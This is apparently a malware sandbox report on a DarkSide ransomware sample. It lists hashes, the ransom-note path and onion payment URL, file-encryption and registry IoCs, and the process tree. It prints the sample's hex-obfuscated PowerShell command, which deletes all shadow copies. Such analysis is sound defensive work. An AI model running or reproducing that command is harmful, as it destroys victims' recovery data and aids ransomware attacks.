Analysis
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max time kernel
50s -
max time network
55s -
platform
windows7_x64 -
resource
win7v20210408 -
submitted
31-08-2021 07:27
Static task
static1
Behavioral task
behavioral1
Sample
8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Resource
win7v20210408
Behavioral task
behavioral2
Sample
8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Resource
win10v20210408
General
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Target
8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
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Size
59KB
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MD5
04fde4340cc79cd9e61340d4c1e8ddfb
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SHA1
88fc623483f7ffe57f986ed10789e6723083fcd8
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SHA256
8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc
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SHA512
105ddfb8bbfedc8460fb1e6d26c6cd02ea81bfdc12a196c1c2f8e52bc73faf03a688339b4c231ab5b5b3885f2ad248115c32c95fc64e84462a16c3e237e6fc9c
Malware Config
Extracted
C:\\README.f2cbf9aa.TXT
darkside
http://darksidfqzcuhtk2.onion/GM0CG8TNZ83ZPUD15TL76BLDCG0ST24TR6NXG1J2AVXSKF8KS4KFIIN2ON5GRWD4
Signatures
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DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
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Modifies extensions of user files 28 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exedescription ioc process File renamed C:\Users\Admin\Pictures\InstallStop.crw => C:\Users\Admin\Pictures\InstallStop.crw.f2cbf9aa 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe File opened for modification C:\Users\Admin\Pictures\StartUse.tif.f2cbf9aa 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe File opened for modification C:\Users\Admin\Pictures\AssertPush.png.f2cbf9aa 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe File renamed C:\Users\Admin\Pictures\ExpandSuspend.crw => C:\Users\Admin\Pictures\ExpandSuspend.crw.f2cbf9aa 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe File renamed C:\Users\Admin\Pictures\DisableSuspend.tif => C:\Users\Admin\Pictures\DisableSuspend.tif.f2cbf9aa 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe File renamed C:\Users\Admin\Pictures\SubmitSuspend.tiff => C:\Users\Admin\Pictures\SubmitSuspend.tiff.f2cbf9aa 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe File opened for modification C:\Users\Admin\Pictures\SubmitSuspend.tiff.f2cbf9aa 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe File opened for modification C:\Users\Admin\Pictures\CompleteRemove.tif.f2cbf9aa 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe File opened for modification C:\Users\Admin\Pictures\ExpandSuspend.crw.f2cbf9aa 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe File opened for modification C:\Users\Admin\Pictures\EnterRevoke.crw.f2cbf9aa 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe File opened for modification C:\Users\Admin\Pictures\UseFind.raw.f2cbf9aa 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe File opened for modification C:\Users\Admin\Pictures\BackupEdit.tiff 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe File renamed C:\Users\Admin\Pictures\EnterRevoke.crw => C:\Users\Admin\Pictures\EnterRevoke.crw.f2cbf9aa 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe File renamed C:\Users\Admin\Pictures\CompleteRemove.tif => C:\Users\Admin\Pictures\CompleteRemove.tif.f2cbf9aa 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe File opened for modification C:\Users\Admin\Pictures\DisableSuspend.tif.f2cbf9aa 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe File opened for modification C:\Users\Admin\Pictures\InstallStop.crw.f2cbf9aa 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe File renamed C:\Users\Admin\Pictures\BackupEdit.tiff => C:\Users\Admin\Pictures\BackupEdit.tiff.f2cbf9aa 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe File opened for modification C:\Users\Admin\Pictures\CheckpointRestart.crw.f2cbf9aa 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe File opened for modification C:\Users\Admin\Pictures\FindDebug.crw.f2cbf9aa 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe File renamed C:\Users\Admin\Pictures\UseFind.raw => C:\Users\Admin\Pictures\UseFind.raw.f2cbf9aa 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe File opened for modification C:\Users\Admin\Pictures\SubmitSuspend.tiff 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe File renamed C:\Users\Admin\Pictures\CloseUnblock.raw => C:\Users\Admin\Pictures\CloseUnblock.raw.f2cbf9aa 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe File opened for modification C:\Users\Admin\Pictures\CloseUnblock.raw.f2cbf9aa 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe File renamed C:\Users\Admin\Pictures\CheckpointRestart.crw => C:\Users\Admin\Pictures\CheckpointRestart.crw.f2cbf9aa 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe File renamed C:\Users\Admin\Pictures\FindDebug.crw => C:\Users\Admin\Pictures\FindDebug.crw.f2cbf9aa 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe File renamed C:\Users\Admin\Pictures\StartUse.tif => C:\Users\Admin\Pictures\StartUse.tif.f2cbf9aa 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe File renamed C:\Users\Admin\Pictures\AssertPush.png => C:\Users\Admin\Pictures\AssertPush.png.f2cbf9aa 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe File opened for modification C:\Users\Admin\Pictures\BackupEdit.tiff.f2cbf9aa 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Sets desktop wallpaper using registry 2 TTPs 2 IoCs
Processes:
8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\f2cbf9aa.BMP" 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\f2cbf9aa.BMP" 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe -
Modifies Control Panel 1 IoCs
Processes:
8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Control Panel\Desktop\WallpaperStyle = "10" 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe -
Modifies registry class 5 IoCs
Processes:
8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\f2cbf9aa 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\f2cbf9aa\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\f2cbf9aa.ico" 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.f2cbf9aa 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.f2cbf9aa\ = "f2cbf9aa" 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\f2cbf9aa\DefaultIcon 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exe8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exepid process 1752 powershell.exe 1752 powershell.exe 2004 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe 2004 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe -
Suspicious use of AdjustPrivilegeToken 24 IoCs
Processes:
8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exepowershell.exevssvc.exedescription pid process Token: SeIncreaseQuotaPrivilege 2004 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe Token: SeSecurityPrivilege 2004 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe Token: SeTakeOwnershipPrivilege 2004 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe Token: SeLoadDriverPrivilege 2004 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe Token: SeSystemProfilePrivilege 2004 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe Token: SeSystemtimePrivilege 2004 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe Token: SeProfSingleProcessPrivilege 2004 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe Token: SeIncBasePriorityPrivilege 2004 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe Token: SeCreatePagefilePrivilege 2004 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe Token: SeBackupPrivilege 2004 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe Token: SeRestorePrivilege 2004 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe Token: SeShutdownPrivilege 2004 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe Token: SeDebugPrivilege 2004 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe Token: SeSystemEnvironmentPrivilege 2004 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe Token: SeRemoteShutdownPrivilege 2004 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe Token: SeUndockPrivilege 2004 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe Token: SeManageVolumePrivilege 2004 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe Token: 33 2004 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe Token: 34 2004 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe Token: 35 2004 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe Token: SeDebugPrivilege 1752 powershell.exe Token: SeBackupPrivilege 1680 vssvc.exe Token: SeRestorePrivilege 1680 vssvc.exe Token: SeAuditPrivilege 1680 vssvc.exe -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exedescription pid process target process PID 2004 wrote to memory of 1752 2004 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe powershell.exe PID 2004 wrote to memory of 1752 2004 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe powershell.exe PID 2004 wrote to memory of 1752 2004 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe powershell.exe PID 2004 wrote to memory of 1752 2004 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe powershell.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe"C:\Users\Admin\AppData\Local\Temp\8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe"1⤵
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndexMD5
46864d7c73339c24088695ab6540998e
SHA16e7fad85cd59fd5df5cdb1b7a44f65bd4bd3382a
SHA256a0f81079f99a77be9f11dc85365388979321bebff63fdb3755e95ff1b26bb60b
SHA512de484be172c59a0a4cbd92ff38e10734c0bf3fa7e1a415a5d2ad1ad49e67bd26c0e68005c4d61763290afd3916c3561851f7b788d954ff80d29aef969c1af6f9
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msMD5
1ab751534b52d9fce32646a066bff4c9
SHA16eebc51e2b1b5beb94ec3c435770cf212df57b95
SHA256ac022b98fd2114f5ceda4fd0c3c7c5e740da698edc12074158d4b8f0368bad93
SHA51278fdeb1d07e3271c90f8b90eec6f34caf9f0e2858b4d833f0f1c707c3bd05bcdebcc958fdc84d14d838e9746fe38bc3a8decbc82fe905aa1cef779f1f5827b74
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memory/1752-66-0x000000001AB10000-0x000000001AB12000-memory.dmpFilesize
8KB
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memory/1752-63-0x00000000022E0000-0x00000000022E1000-memory.dmpFilesize
4KB
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memory/1752-64-0x000000001AB90000-0x000000001AB91000-memory.dmpFilesize
4KB
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memory/1752-65-0x000000001AA50000-0x000000001AA51000-memory.dmpFilesize
4KB
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memory/1752-67-0x000000001AB14000-0x000000001AB16000-memory.dmpFilesize
8KB
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memory/1752-68-0x0000000002440000-0x0000000002441000-memory.dmpFilesize
4KB
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memory/1752-69-0x000000001B6C0000-0x000000001B6C1000-memory.dmpFilesize
4KB
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memory/1752-70-0x000000001AA80000-0x000000001AA81000-memory.dmpFilesize
4KB
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memory/1752-62-0x000007FEFC391000-0x000007FEFC393000-memory.dmpFilesize
8KB
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memory/1752-61-0x0000000000000000-mapping.dmp
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memory/2004-60-0x0000000075B31000-0x0000000075B33000-memory.dmpFilesize
8KB